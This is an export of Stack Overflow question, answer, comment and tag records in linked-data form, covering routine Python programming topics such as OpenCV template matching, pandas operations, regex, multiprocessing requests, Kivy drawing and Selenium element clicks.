has body: With the below function, the coords returned will be slightly different each time, because the template matching found the same template a few pixels up or down. Increasing threshold does not help, as it will simply not find anything if higher. How could I make it always return the same coordinates after finding the template, without this little variation in the y axis (I don't care about the precision of the x axis)? The function, which runs inside an infinite loop in this: def fishing_region(img_gray, region_template_gray, w, h): # w, h is how wide and high is the template region_detected = False green_bar_region = img_gray[y-5:470+y, 347+x:488+x] res = cv2.matchTemplate(img_gray, region_template_gray, cv2.TM_CCOEFF_NORMED) threshold = 0.65 loc = np.where( res &gt;= threshold) for pt in zip(*loc[::-1]): x1, y1 = pt[0], pt[1] # top-left corner x2, y2 = pt[0] + w, pt[1] + h # bottom-right corner coords_list = [y1, y2, x1 + 55, x2 - 35] region_detected = True print("Region detected") break # only finds the template 1 time per function call if not region_detected: print("No region") return region_detected, coords_list EDIT: Here is the rectangle draw with the coordinates and the template: album. Also, would masking the template image, removing the parts that changes colors, be possible?
answer count: 1
has comment: http://stackoverflow.com/comment/84310072
favorite count: 0
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48662137
upvote count: 1
tagged with: python
tagged with: computer-vision
has comment: http://stackoverflow.com/comment/84310093

http://stackoverflow.com/q/48693804
tagged with: nlp
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84386392
accepted answer: http://stackoverflow.com/a/48693957
has title: How to match everything within a word
type: Question
has comment: http://stackoverflow.com/comment/84386122
has body: Sorry if the title is not clear. More specifically, using python, I want to match I am (INSERT ANYTHING)ing like I am dancing and I am walking but not I am a student and I like dancing If I use (?&lt;=I am)(.*)(?=ing) this would match I am a student and I like dancing So namely (INSERT ANYTHING)ing should be one word. Is there anyway to do this?
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/48693957
tagged with: python
has comment: http://stackoverflow.com/comment/84386347
tagged with: regex

http://stackoverflow.com/comment/84548951
comment on: http://stackoverflow.com/q/48773674
type: QuestionComment
type: Comment
has text: Is pandas work for you ?
score: 0

http://stackoverflow.com/comment/84475322
comment on: http://stackoverflow.com/q/48737790
has text: Possible duplicate of [Why can't I call read() twice on an open file?](https://stackoverflow.com/questions/3906137/why-cant-i-call-read-twice-on-an-open-file)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48694983
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/84388744
has body: Use filter + isin + rename, for a single pipelined transformation of your data. v = (df.filter(regex='^RO_') # select columns .isin([4, 1]) # check if the value is 4 or 1 .astype(int) # convert the `bool` result to `int` .rename( # rename columns columns=lambda x: x.replace('RO_', 'Month') )) Or, for the sake of performance, v = df.filter(regex='^RO_')\ .isin([4, 1])\ .astype(int) v.columns = v.columns.str.replace('RO_', 'Month') Finally, concatenate the result with the original. pd.concat([df, v], axis=1) KEY RO_1 RO_2 RO_3 RO_4 Month1 Month2 Month3 Month4 0 100000003 1 1 1 1 1 1 1 1 1 100000009 1 0 1 4 1 0 1 1 2 100000009 4 0 1 1 1 0 1 1 3 100000009 1 0 1 1 1 0 1 1
answers question: http://stackoverflow.com/q/48694900
has comment: http://stackoverflow.com/comment/84388813
accepted answer of: http://stackoverflow.com/q/48694900
has comment: http://stackoverflow.com/comment/84388603
has comment: http://stackoverflow.com/comment/84388567
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84622692
type: Comment
score: 0
type: AnswerComment
has text: PS. the drop in the performance is due to the fact that the function `train_test_split` shuffles the data by default. shuffling the data usually enhances performance (only for non-temporal data). so compromise would be to split the data 5%/95% this you'll take advantage of the shuffling and validate the model on unseen data. i.e. `X_model_sel, X_val, y_model_sel, y_val = train_test_split(X, y, test_size=.05,random_state=0)`
comment on: http://stackoverflow.com/a/48803361

http://stackoverflow.com/comment/84524433
type: Comment
type: QuestionComment
has text: I added the code from Material.py file too.
comment on: http://stackoverflow.com/q/48761808
score: 0

http://stackoverflow.com/q/48677978
accepted answer: http://stackoverflow.com/a/48685250
score: 4
favorite count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84353729
has title: Python - Run multiple get requests in parallel and stop on first response
tagged with: python-requests
has body: Python 3.4 requests 2.18 I want to make multiple requests.get calls and return the first that gets a response, stopping the rest. What's the best way to do this? Edit: I ended up using python's multiprocessing module and a queue to achieve the result, like petre suggested in comments. Here's the code: from multiprocessing import Queue, Process from multiprocessing.queues import Empty from requests import head def _req(url, queue): a = head(url) if a.status_code == 200: queue.put(a) return def head_all_get_first(urls): jobs = [] q = Queue() for url in urls: p = Process(target=_req, args=(url, q)) jobs.append(p) for p in jobs: p.start() try: ret = q.get(timeout=20) # blocking get - wait at most 20 seconds for a return except Empty: # thrown if the timeout is exceeded ret = None for p in jobs: p.terminate() return ret
tagged with: parallel-processing
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84417244
tagged with: python-multiprocessing
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/48685250
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/84508860
score: 3
comment on: http://stackoverflow.com/q/48754015
type: Comment
type: QuestionComment
has text: Why would you need to know this? Do you have an actual use-case?

xpath
tags question: http://stackoverflow.com/q/48735407
tags question: http://stackoverflow.com/q/48727020
tags question: http://stackoverflow.com/q/48664034
tag name: xpath
tags question: http://stackoverflow.com/q/48738111
tags question: http://stackoverflow.com/q/48650080
tags question: http://stackoverflow.com/q/48686730
tags question: http://stackoverflow.com/q/48752422
tags question: http://stackoverflow.com/q/48788782
tags question: http://stackoverflow.com/q/48657460
tags question: http://stackoverflow.com/q/48701221
type: Tag
tags question: http://stackoverflow.com/q/48784487
tags question: http://stackoverflow.com/q/48707792
tags question: http://stackoverflow.com/q/48783917
tags question: http://stackoverflow.com/q/48665250
tags question: http://stackoverflow.com/q/48703073
tags question: http://stackoverflow.com/q/48752529

http://stackoverflow.com/q/48794268
has body: I have a Python class which needs to accept one of two mutually exclusive arguments. If the arguments are not exclusive, (ie: if both or neither are given), an error should be raised. class OrgLocation: def __init__(self, location_num=None, location_path=None): """location_num & location_path are mutually exclusive""" In most scenarios, the best option would be to make two separate classes. However, I am working with an external API which requires these two attributes to be mutually exclusive. Request: <OrgLocation LocationPathName="ROOT/BU/DIV/SL/DEPT/JOB" LocationNum="1234"/> Response: <Error Message="Use either LocationNum or LocationPathName but not both." ErrorCode="1186"> Similar questions seem to indicate that argparse can be used for mutually exclusive arguments in command-line interfaces, but I'm unsure how to apply this to a class constructor How can I create a Python function with mutually exclusive arguments?
possible better answer: http://stackoverflow.com/a/48795134
has answer: http://stackoverflow.com/a/67237777
downvote count: 0
has answer: http://stackoverflow.com/a/48795134
linked to: http://stackoverflow.com/q/432842
has answer: http://stackoverflow.com/a/69354784
has comment: http://stackoverflow.com/comment/84590865
has comment: http://stackoverflow.com/comment/84591118
accepted answer: http://stackoverflow.com/a/48794353
linked to: http://stackoverflow.com/q/682504
has answer: http://stackoverflow.com/a/62873751
answer count: 7
favorite count: 0
has comment: http://stackoverflow.com/comment/84590966
tagged with: arguments
tagged with: python
score: 13
has answer: http://stackoverflow.com/a/48796429
upvote count: 13
has answer: http://stackoverflow.com/a/66034104
has comment: http://stackoverflow.com/comment/84590824
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/9812136
tagged with: mutual-exclusion
has title: How do I make a Python function with mutually exclusive arguments?
has answer: http://stackoverflow.com/a/48794353
type: Question

http://stackoverflow.com/comment/84441428
score: 0
has text: Maybe this has nothing to do with your code but how the server processes the request. Perhaps for the first time it handles the request slightly different (thus subsequent requests are slight different but consistently so)?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48721276

http://stackoverflow.com/q/48652762
tagged with: dictionary
has answer: http://stackoverflow.com/a/62124626
type: AnsweredQuestion
score: 3
upvote count: 3
tagged with: set
has comment: http://stackoverflow.com/comment/84303655
possible better answer: http://stackoverflow.com/a/62124626
linked to: http://stackoverflow.com/q/27265939
type: Question
has answer: http://stackoverflow.com/a/48652830
tagged with: search
answer count: 3
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48652864
accepted answer: http://stackoverflow.com/a/48652830
tagged with: hash
has title: How to compare nested dicts
tagged with: python
has body: a_standard = { 'section1': { 'category1': 1, 'category2': 2 }, 'section2': { 'category1': 1, 'category2': 2 } } a_new = { 'section1': { 'category1': 1, 'category2': 2 }, 'section2': { 'category1': 1, 'category2': 3 } } I want to find the difference between a_standard and a_new which is in a_new[section2][category2] difference in value being 2 and 3 Should I convert each to a set and then do difference or loop and compare the dict?

http://stackoverflow.com/a/48660709
has body: In my opinion it is bug. Working custom lambda function: df'C_s','D_s','B_s' = df.groupby(level='A')['C','D','B'].apply(lambda x: x.shift(-1)) print (df) E C D B C_s D_s B_s A group1 a 100 1 10 102.0 2.0 12.0 group1 b 102 2 12 NaN NaN NaN group2 c 100 3 10 250.0 4.0 25.0 group2 d 250 4 25 NaN NaN NaN group3 e 100 5 10 102.0 6.0 12.0 group3 f 102 6 12 NaN NaN NaN Thank you @cᴏʟᴅsᴘᴇᴇᴅ for another solution: df'C_s','D_s','B_s' = (df.groupby(level='A')['C','D','B'] .apply(pd.DataFrame.shift, periods=-1))
answers question: http://stackoverflow.com/q/48660582
score: 3
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84319235
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48660582

http://stackoverflow.com/comment/84541450
type: Comment
has text: though technically the _question_ is not a duplicate persay... the answer from Mark Dickinson does answer this question when giving word of caution in the other question
comment on: http://stackoverflow.com/q/48769357
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84448897
has text: Series([], Name: rating, dtype: object), thats my output.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/48724663
score: 0

http://stackoverflow.com/a/48715606
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48715092
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48715092
score: 2
has body: If you print self.pos using the following: with self.canvas.after: [...] print(self.pos) [...] only the values [0, 0] are obtained, and that leads to the conclusion that all the rectangles are drawn in that position, so they are superimposed, and that is what you observe. For example, to verify this we pass a parameter more to the function set_bgcolor () that will be the index of the loop and we will use it as a parameter to locate the position: def set_bgcolor(self, r, b, g, o, i): [..] Rectangle(pos=[100*i, 100*i],size=self.size) class MyGrid(GridLayout): def __init__(self,cols,rows,**kwargs): [...] if (i*rows+j)%2: l.set_bgcolor(1,0,0,1, i) else: l.set_bgcolor(0,0,0,1, i) self.add_widget(l) We get the following: also if we change the size of the window the rectangle does not change either: So if you want the Rectangle to be the bottom of the Label, the position and size of the Rectangle should be the same as the Label, so you have to make a binding with both properties between the Label and Rectangle. You must also use canvas.before instead of canvas.after otherwise the Rectangle will be drawn on top of the Label. class LabelX(Label): def set_bgcolor(self,r,b,g,o): self.canvas.before.clear() with self.canvas.before: Color(r,g,b,o) self.rect = Rectangle(pos=self.pos,size=self.size) self.bind(pos=self.update_rect, size=self.update_rect) def update_rect(self, *args): self.rect.pos = self.pos self.rect.size = self.size The advantage of my solution is that it is independent of the external widget or layout since the position and size of the Rectangle only depends on the Label.
has comment: http://stackoverflow.com/comment/114460284
type: AcceptedAnswer

http://stackoverflow.com/q/48694610
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84387722
has answer: http://stackoverflow.com/a/48694632
score: -5
type: Question
downvote count: 5
has body: After creating an instance of a class. If there is a function (I am using function because in this case because it is outside of the class so not a method) that I define outside of the class, can I access it?
has title: In Python - Can I access functions outside of a class not using inheritance or subclassing?
upvote count: 0

http://stackoverflow.com/comment/84446969
type: QuestionComment
comment on: http://stackoverflow.com/q/48723195
has text: If you want to learn recursion, first try to write the function iteratively (i.e. without using direct formulae). Then convert it to a recursive function.
score: 0
type: Comment

http://stackoverflow.com/comment/84409595
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48705457
has text: I am using a ssh key and I have tried everything to store the passphrase but it doesn't seem to work that why I am trying to go down this route. Do you know how to enter a password in the command line?

http://stackoverflow.com/a/48731762
upvote count: 2
has comment: http://stackoverflow.com/comment/84463943
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48731502
type: Answer
answers question: http://stackoverflow.com/q/48731502
has body: You can reverse your column and then apply a function to update values. Finally reverse the column to the original order: def get_val(x): global prev_num if x and x &gt; prev_num*1.1: prev_num = x return prev_num prev_num = 0 df['number'] = df['number'][::-1].apply(get_val)[::-1]
score: 2
downvote count: 0

http://stackoverflow.com/q/48670780
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has body: I have a problem with reading in a csv with an id field with mixed dtypes from the original source data, i.e. the id field can be 11, 2R399004, BL327838, 7 etc. but the vast majority of them being 8 characters long. When I read it with multiple versions of pd.read_csv and encoding='iso-8859-1' it always converts the 7 and 11 to 00000007 or the like. I've tried using utf-8 but I get the following error: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xc9 in position 40: unexpected end of data I have tried setting the dtype={'field': object} and string and various iterations of latin-1 and the like but it will continually do this. Is there any way to get around this error, without going through every individual file and fixing the dtypes?
score: 0
has title: Pandas read csv adds zeros
type: Question
has comment: http://stackoverflow.com/comment/84339536
has comment: http://stackoverflow.com/comment/84342397
has answer: http://stackoverflow.com/a/48681568
tagged with: encoding
tagged with: pandas
answer count: 1
has comment: http://stackoverflow.com/comment/84339663
linked to: http://stackoverflow.com/q/13142347
tagged with: iso-8859-1
type: UnansweredQuestion

http://stackoverflow.com/a/48675836
upvote count: 1
answers question: http://stackoverflow.com/q/48675322
has body: In [5]: M = sparse.random(10,10,.2,format='csr') In [6]: M Out[6]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 20 stored elements in Compressed Sparse Row format&gt; In [8]: M[:,5:] Out[8]: &lt;10x5 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 12 stored elements in Compressed Sparse Row format&gt; In [9]: M[:,5:] = 0 /usr/local/lib/python3.5/dist-packages/scipy/sparse/compressed.py:742: SparseEfficiencyWarning: Changing the sparsity structure of a csr_matrix is expensive. lil_matrix is more efficient. SparseEfficiencyWarning) In [10]: M Out[10]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 58 stored elements in Compressed Sparse Row format&gt; Setting these elements adds a bunch of non-zero elements (even though the value is 0). This assignment doesn't distinguish between setting with 0 and setting with something else. We remove the 0's with a separate step; In [11]: M.eliminate_zeros? Signature: M.eliminate_zeros() Docstring: Remove zero entries from the matrix This is an *in place* operation File: /usr/local/lib/python3.5/dist-packages/scipy/sparse/compressed.py Type: method In [12]: M.eliminate_zeros() In [13]: M Out[13]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 8 stored elements in Compressed Sparse Row format&gt; Multiplying by 0 doesn't add new values; it just changes existing ones: In [16]: M[:,5:] *= 0 In [17]: M Out[17]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 20 stored elements in Compressed Sparse Row format&gt; In [18]: M.data Out[18]: array([0.89042028, 0. , 0. , 0.93756551, 0.34072221, 0.3883514 , 0. , 0.18581085, 0. , 0. , 0. , 0.76948544, 0. , 0. , 0. , 0. , 0.90694047, 0.00354749, 0. , 0. ]) In [19]: M.eliminate_zeros() In [20]: M Out[20]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 8 stored elements in Compressed Sparse Row format&gt; This should avoid the memory error in your large matrix. A matrix produc…
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/84935437
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48696971
score: 4
has text: I've rolled it back to the original question as it invalidated the 3 answers you received.

http://stackoverflow.com/a/48877220
accepted answer of: http://stackoverflow.com/q/48719893
has body: Nginx webserver This is from nginx Syntax: client_body_buffer_size size; Default: client_body_buffer_size 8k|16k; Sets buffer size for reading client request body. In case the request body is larger than the buffer, the whole body or only its part is written to a temporary file. By default, buffer size is equal to two memory pages. This is 8K on x86, other 32-bit platforms, and x86-64. It is usually 16K on other 64-bit platforms Apache WebServer ProxyIOBufferSize Directive Description: Determine size of internal data throughput buffer Syntax: ProxyIOBufferSize bytes Default: ProxyIOBufferSize 8192 Context: server config, virtual host Status: Extension Module: mod_proxy So Apache also uses 8192 by default as the proxy buffer size. Apache Client The apache Java client documentation indicates https://hc.apache.org/httpcomponents-client-4.2.x/tutorial/html/connmgmt.html CoreConnectionPNames.SOCKET_BUFFER_SIZE='http.socket.buffer-size': determines the size of the internal socket buffer used to buffer data while receiving / transmitting HTTP messages. This parameter expects a value of type java.lang.Integer. If this parameter is not set, HttpClient will allocate 8192 byte socket buffers. Ruby Client In ruby the value is set by default 16K https://github.com/ruby/ruby/blob/814daf855e0aa2c3a1164dc765378d3a092a1825/lib/net/protocol.rb#L172 Then there are below thread What is a good buffer size for socket programming? What is the best memory buffer size to allocate to download a file from Internet? Optimum file buffer read size? If you look at many of this the consensus lies on 8K/16K as the buffer size. And it is not that it should be fixed to that but configurable and 8k/16K should be good enough for most situations. So I don't see a problem with Python also using that 8K by default. But yes it should have been configurable Python 3.7 will have it configurable as such but then that may not help your cause if you can't upgrade to the same.
score: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48719893
upvote count: 4

http://stackoverflow.com/q/48667251
has body: I used the code below to append the index of an item to another list, but it only gives the index of some previous occurrence of the same item. for x,y in zip(answer,std_answer): if x != y: wrong_ans.append(answer.index(x)) Please i need the code to append the exact index of the item to another list. Thank you
type: Question
answer count: 2
has title: appending index of an item to another list in python
has answer: http://stackoverflow.com/a/48667351
tagged with: python
tagged with: append
possible better answer: http://stackoverflow.com/a/48667356
has answer: http://stackoverflow.com/a/48667356
score: 0
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/48667351

http://stackoverflow.com/a/48712740
has comment: http://stackoverflow.com/comment/84424565
accepted answer of: http://stackoverflow.com/q/48712726
answers question: http://stackoverflow.com/q/48712726
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84424595
has body: You can using min twice s=(df==df.min().min()).dot(df.columns) s=s.loc[s!=''] s Out[177]: a 1 b 0 dtype: object If you need tuple list(zip(s,s.index)) Out[182]: [('1', 'a'), ('0', 'b')] Or we using np.where s,v=np.where(df==np.min(df.min())) list(zip(df.index[s],df.columns[v])) Out[188]: [('a', '1'), ('b', '0')]

http://stackoverflow.com/comment/84309950
type: Comment
comment on: http://stackoverflow.com/q/48654738
type: QuestionComment
has text: After I checked all dependencies and install the missing ones, while I was installing kivy project interpreter, I got this message "/tmp/pycharm-packaging/Kivy/kivy/graphics/svg.c:1:2: error: #error Do not use this file, it is the result of a failed Cython compilation."
score: 0

pandas
tags question: http://stackoverflow.com/q/48772031
tags question: http://stackoverflow.com/q/48741684
tags question: http://stackoverflow.com/q/48744820
tags question: http://stackoverflow.com/q/48687857
tags question: http://stackoverflow.com/q/48709345
tags question: http://stackoverflow.com/q/48711170
tags question: http://stackoverflow.com/q/48773767
tags question: http://stackoverflow.com/q/48789361
tags question: http://stackoverflow.com/q/48767680
tags question: http://stackoverflow.com/q/48756111
tags question: http://stackoverflow.com/q/48648037
tags question: http://stackoverflow.com/q/48797147
tags question: http://stackoverflow.com/q/48734871
tags question: http://stackoverflow.com/q/48697412
tags question: http://stackoverflow.com/q/48766232
tags question: http://stackoverflow.com/q/48789230
tags question: http://stackoverflow.com/q/48770411
tags question: http://stackoverflow.com/q/48787485
tags question: http://stackoverflow.com/q/48689113
tags question: http://stackoverflow.com/q/48795335
tags question: http://stackoverflow.com/q/48704690
tags question: http://stackoverflow.com/q/48788871
tags question: http://stackoverflow.com/q/48784345
tags question: http://stackoverflow.com/q/48673059
tags question: http://stackoverflow.com/q/48743380
tags question: http://stackoverflow.com/q/48651699
tags question: http://stackoverflow.com/q/48654514
tags question: http://stackoverflow.com/q/48670701
tags question: http://stackoverflow.com/q/48650153
tags question: http://stackoverflow.com/q/48651468
tags question: http://stackoverflow.com/q/48706377
tags question: http://stackoverflow.com/q/48681310
tags question: http://stackoverflow.com/q/48790928
tags question: http://stackoverflow.com/q/48798979
tags question: http://stackoverflow.com/q/48720559
tags question: http://stackoverflow.com/q/48735318
tags question: http://stackoverflow.com/q/48782835
tags question: http://stackoverflow.com/q/48758744
tags question: http://stackoverflow.com/q/48759258
tags question: http://stackoverflow.com/q/48768317
tags question: http://stackoverflow.com/q/48648321
tags question: http://stackoverflow.com/q/48768079
tags question: http://stackoverflow.com/q/48760328
tags question: http://stackoverflow.com/q/48715888
tags question: http://stackoverflow.com/q/48688382
tags question: http://stackoverflow.com/q/48664962
tags question: http://stackoverflow.com/q/48670371
tags question: http://stackoverflow.com/q/48693049
tags question: http://stackoverflow.com/q/48748061
tags question: http://stackoverflow.com/q/48778160
tags question: http://stackoverflow.com/q/48792405
tags question: http://stackoverflow.com/q/48707117
tags question: http://stackoverflow.com/q/48693482
tags question: http://stackoverflow.com/q/48737123
tags question: http://stackoverflow.com/q/48737269
tags question: http://stackoverflow.com/q/48713989
tags question: http://stackoverflow.com/q/48686361
tags question: http://stackoverflow.com/q/48767736
tags question: http://stackoverflow.com/q/48738936
tags question: http://stackoverflow.com/q/48696883
tags question: http://stackoverflow.com/q/48715854
tags question: http://stackoverflow.com/q/48737283
tags question: http://stackoverflow.com/q/48800795
tags question: http://stackoverflow.com/q/48698522
tags question: http://stackoverflow.com/q/48799185
tags question: http://stackoverflow.com/q/48675689
tags question: http://stackoverflow.com/q/48710492
tags question: http://stackoverflow.com/q/48735310
tags question: http://stackoverflow.com/q/48767067
tags question: http://stackoverflow.com/q/48667118
tags question: http://stackoverflow.com/q/48746349
tags question: http://stackoverflow.com/q/48782812
tags question: http://stackoverflow.com/q/48756008
tags question: http://stackoverflow.com/q/48790335
tags question: http://stackoverflow.com/q/48789190
tags question: http://stackoverflow.com/q/48690508
tags question: http://stackoverflow.com/q/48684895
tags question: http://stackoverflow.com/q/48779475
tags question: http://stackoverflow.com/q/48745546
tags question: http://stackoverflow.com/q/48739945

http://stackoverflow.com/q/48684900
score: 0
tagged with: pandas
answer count: 1
tagged with: python
tagged with: plot
accepted answer: http://stackoverflow.com/a/48684952
type: AnsweredQuestion
has title: Pandas plot values + headcount (=number of value)
has body: IHello guys, I actually couldn't find an answer to a my basic problem. So I have 2 columns Age Headcount 0 30 8 1 36 3 2 41 5 3 42 4 4 44 1 5 46 6 6 47 3 7 48 4 8 49 5 9 50 1 10 52 2 11 54 4 12 55 1 13 57 3 14 58 1 15 61 8 If i do DataFrame.plot(x=DataFrame.Age, y=DataFrame.Headcount) I Wil have KeyError: '[8 3 5 4 1 6 3 4 5 1 2 4 1 3 1 8] not in index' Even if I put my Headcount columns as an index, I will have similar error. I could do a new pd.Series with eight 30, three 36 etc. and plot it, but it certainly possible to do it from my orignal DataFrame. Thank's for helping.
tagged with: dataframe
type: Question
has answer: http://stackoverflow.com/a/48684952

django-database
type: Tag
tag name: django-database
tags question: http://stackoverflow.com/q/48796422

http://stackoverflow.com/q/48715516
favorite count: 0
has answer: http://stackoverflow.com/a/48715527
tagged with: datetime
tagged with: python
has body: I have a string like this: &gt;&gt;&gt; string = "bla_bla-whatever_2018.02.09_11.34.09_more_bla-123" I need to extract the date 2018.02.09_11.34.09 from it. It will always be in this format. So I tried: &gt;&gt;&gt; match = re.search(r'\d{4}\.\d{2}\.\d{2}_\d{2}\.\d{2}\.\d{2}', string) It correctly extracts out the date from that string: &gt;&gt;&gt; match.group() '2018.02.09_11.34.09' But then when I try to create a datetime object from this string, it doesn't work: &gt;&gt;&gt; datetime.datetime.strptime(match.group(), '%Y.%m.%d_%H.%I.%S') ValueError: time data '2018.02.09_11.34.09' does not match format '%Y.%m.%d_%H.%I.%S' What am I doing wrong?
score: 2
type: AnsweredQuestion
upvote count: 2
type: Question
accepted answer: http://stackoverflow.com/a/48715527
has title: Python : Matching a custom date format in a string
tagged with: date
answer count: 1
downvote count: 0

http://stackoverflow.com/q/48699907
has answer: http://stackoverflow.com/a/48699928
upvote count: 8
has answer: http://stackoverflow.com/a/48699991
type: Question
has comment: http://stackoverflow.com/comment/84398326
has body: df=pd.DataFrame({"A":["one","two","three"],"B":["fopur","give","six"]}) when I do, df.B.str.contains("six").any() out[2]=True when I do, df.B.str.contains("six)").any() I am getting the below error, C:\ProgramData\Anaconda3\lib\sre_parse.py in parse(str, flags, pattern) 868 if source.next is not None: 869 assert source.next == ")" --&gt; 870 raise source.error("unbalanced parenthesis") 871 872 if flags &amp; SRE_FLAG_DEBUG: error: unbalanced parenthesis at position 3 Please help!
has comment: http://stackoverflow.com/comment/84398457
tagged with: dataframe
answer count: 2
tagged with: pandas
downvote count: 1
has title: `error: unbalanced parenthesis` while checking if an item presents in a pandas dataframe
favorite count: 0
tagged with: data-analysis
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84398390
accepted answer: http://stackoverflow.com/a/48699991
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48699928
linked to: http://stackoverflow.com/q/4761242
score: 7

http://stackoverflow.com/q/48655393
has body: I am new to XML and python, I am struggling to get the "sibling" of a "child" I have this XML DDAC lalala John and Mark are good friends. FYP lelele John works in Google. FYP lilili Mark work in IBM. DDAC lololo A computer can help you do stuff IMNPD lululu The internet is a world wide web I want to get the description for all the module "DDAC" for g in root.iter('module'): if g.text == 'DDAC': x = root.iter("description") print(x) my desire output is: John and Mark are good friends. A computer can help you do stuff but I am getting the object not the text
score: 2
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/48655713
downvote count: 0
answer count: 1
has title: Getting the "sibling" of a "child" in xml.etree.ElementTree, Python,
tagged with: elementtree
accepted answer: http://stackoverflow.com/a/48655713
favorite count: 0
upvote count: 2
tagged with: python

http://stackoverflow.com/q/48686244
has body: I want to create a method that adds automatically new lines in account.invoice.line table.The user should only enter the total amount of dues and fixed amount that should be paid per month. I created a new python file with this code: class AccountPaymentTerm(models.Model): _inherit = "account.payment.term" how_much = fields.Float() fixed_amount = fields.Float(default=100) invoice_date = fields.Date() @api.onchange('fixed_amount') def automate_creation(self): terms = self.line_ids.browse([]) self.nslices = int((self.how_much/self.fixed_amount)) print(self.nslices) i = 0 day = datetime.today().day month = datetime.today().month year = datetime.today().year nt_current_month = monthrange(year, month)[1] ndays = (nt_current_month - day)+1 next_date = self.invoice_date print(next_date) #next_date = self.invoice_date + timedelta(days=ndays) while i&lt;self.nslices: terms+=terms.new({'value': 'fixed', 'value_amount':self.fixed_amount, 'days':ndays, 'due_date':next_date, 'option':'day_after_invoice_date', 'payment_id':self._origin.id}) i=i+1 if month==12: month=1 year=year+1 else:month = month +1 ndays = ndays + monthrange(year, month)[1] interval = timedelta(days=ndays) next_date = self.invoice_date next_date = datetime.fromtimestamp(time.mktime(time.strptime(next_date, "%Y-%m-%d"))) next_date = next_date + interval date = next_date next_date=date.strftime("%Y-%m-%d") terms+=terms.new({'value': 'balance', 'value_amount':0.0, 'days':ndays, 'due_date':next_date, 'option':'day_after_invoice_date', 'payment_id':self._origin.id}) self.line_ids = terms class AccountPaymentTermLine(models.Model): _inherit = "account.payment.term.line" due_date = fields.Date() But when I change fixed_amount value. It generates the Payment Term lines without any value in due_date field. I can't see where my problem is.
upvote count: 1
tagged with: odoo-10
has title: How to add automated lines to payment term line table
tagged with: python
favorite count: 0
answer count: 0
downvote count: 0
type: UnansweredQuestion
type: Question
score: 1

http://stackoverflow.com/q/48688040
has title: Bokeh - Dynamic allocation of value to legend in streaming chart
type: UnansweredQuestion
tagged with: bokeh
has answer: http://stackoverflow.com/a/48701527
type: Question
tagged with: legend
tagged with: python
tagged with: dynamic
score: 0
answer count: 1
has body: I have a streaming chart where the scores are updated in realtime. I am plotting a graph to show the value as a line graph for Student X. I want the legend to be updated dynamically(either show as legend in the chart or display the name of the student on mouseover). Below is the code which works perfectly fine without "legend" but when I try to add the legend I get the below error. How can I show the value dynamically using legend or using mouseover event or if possible any other way? Code: p = figure(title="Low Percentage", x_axis_label='Time', y_axis_label='Low_Perc') r1 = p.line(x = [], y = [], legend = [], color="firebrick", line_width=2) ds1 = r1.data_source @linear() def update(step): test = pd.read_json('c:/scores.csv', orient='columns') test2 = pd.read_json( (test['result']).to_json(), orient='index') df=test2'Time','Name','Last','Low','Low_Perc' df2=df.sort_values(by='Low_Perc', ascending=False) y = df2['Low_Perc'].iat[0] name = df7['Name'].iat[0] output_file("lines.html") ds1.data['x'].append(step) ds1.data['y'].append(y) ds1.data['legend'].append(name) ds1.trigger('data', ds1.data, ds1.data, ds1.data) curdoc().add_root(p) curdoc().add_periodic_callback(update, 30000) Error: Error thrown from periodic callback: KeyError('legend',)

http://stackoverflow.com/a/48748267
accepted answer of: http://stackoverflow.com/q/48746229
has comment: http://stackoverflow.com/comment/84497880
upvote count: 4
has body: Because you operated element is not radio button, it's toggle button which implemented by CSS + radio button + label. From the UI, we can see the radio button is covered by the label, so you can't click the radio button to select toggle button, but to click the label to do that. driver.find_element_by_css_selector("input#leasingtrue + label").click();
type: AcceptedAnswer
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/48746229
type: Answer

http://stackoverflow.com/a/48700876
score: 0
answers question: http://stackoverflow.com/q/48686810
type: Answer
has body: I found the problem. The rest of the code inside the loop was modifying the array. row_index = index - (n_prev-prev_i) x_row = norm_data[row_index] x_row += vector_data[row_index] x_rows.append(x_row) This was taking rows from norm_data by reference instead of copying them and modifying them afterward. The solution was copying the row. row_index = index - (n_prev-prev_i) x_row = list(norm_data[row_index]) # or x_row = norm_data[row_index][:] x_row += vector_data[row_index] x_rows.append(x_row)

http://stackoverflow.com/comment/84330767
